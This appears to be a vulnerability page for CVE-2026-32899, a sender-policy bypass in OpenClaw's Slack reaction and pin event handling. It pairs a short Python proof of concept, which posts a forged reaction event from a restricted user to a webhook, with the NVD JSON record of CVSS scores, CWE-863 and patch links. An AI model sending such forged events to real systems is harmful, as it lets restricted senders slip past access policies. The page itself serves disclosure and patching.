CVE-2026-32899

import requests import json # PoC for CVE-2026-32899: OpenClaw Sender Policy Bypass # Target: OpenClaw instance < version 2026.2.25 target_url = "http://vulnerable-openclaw-instance/api/webhook" # Construct a malicious 'reaction_added' event # The attacker uses a user ID that is typically restricted or blocked malicious_payload = { "type": "event_callback", "event": { "type": "reaction_added", "user": "U_RESTRICTED_ATTACKER_ID", "reaction": "white_check_mark", "item": { "type": "message", "channel": "C_GENERAL_CHANNEL", "ts": "1234567890.123456" }, "event_ts": "1600000000.000000" } } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-32899-POC" } try: response = requests.post(target_url, data=json.dumps(malicious_payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] PoC Successful: Event injected and policy bypassed.") print("[+] Response from server:", response.text) else: print(f"[-] PoC Failed: Server returned status code {response.status_code}") except Exception as e: print(f"[-] Error during PoC execution: {str(e)}")

{"cve": {"id": "CVE-2026-32899", "sourceIdentifier": "[email protected]", "published": "2026-03-21T01:17:11.067", "lastModified": "2026-03-24T21:06:59.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.25 fail to consistently apply sender-policy checks to reaction_* and pin_* non-message events before adding them to system-event context. Attackers can bypass configured DM policies and channel user allowlists to inject unauthorized reaction and pin events from restricted senders."}, {"lang": "es", "value": "Versiones de OpenClaw anteriores a 2026.2.25 no aplican consistentemente las comprobaciones de política del remitente a los eventos no-mensaje de reaction_* y pin_* antes de añadirlos al contexto de eventos del sistema. Los atacantes pueden eludir las políticas de MD configuradas y las listas blancas de usuarios del canal para inyectar eventos de reacción y de anclaje no autorizados de remitentes restringidos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.25", "matchCriteriaId": "E7CAF2B9-46A9-45F0-8621-6485989E84AD"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/75dfb71e4e8b7c2feba5a8ca662f92ea840e0147", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/aedf62ac7e669a89c7b299201bf6537dc6b12e0e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rm2p-j3r7-4x4j", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-sender-policy-bypass-in-slack-reaction-and-pin-event-handlers", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}